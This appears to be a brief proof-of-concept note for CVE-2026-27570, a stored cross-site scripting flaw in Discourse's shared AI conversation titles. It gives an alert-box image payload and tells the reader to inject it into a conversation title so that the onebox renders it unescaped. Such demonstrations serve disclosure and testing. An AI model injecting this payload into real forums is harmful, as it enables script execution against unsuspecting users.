CVE-2026-27570 Discourse SharedAiConversation XSS漏洞

// PoC Concept for CVE-2026-27570 // The vulnerability is in the 'title' field of a SharedAiConversation. // An attacker crafts a conversation title with a malicious payload. // Example Payload to put in the AI Conversation Title: const payload = '<img src=x onerror=alert(1)>'; // When the 'onebox' renders this conversation on the forum, // it outputs the title directly into the HTML. // If the user views this, the alert box will trigger, proving XSS. console.log(`Inject this into the conversation title: ${payload}`);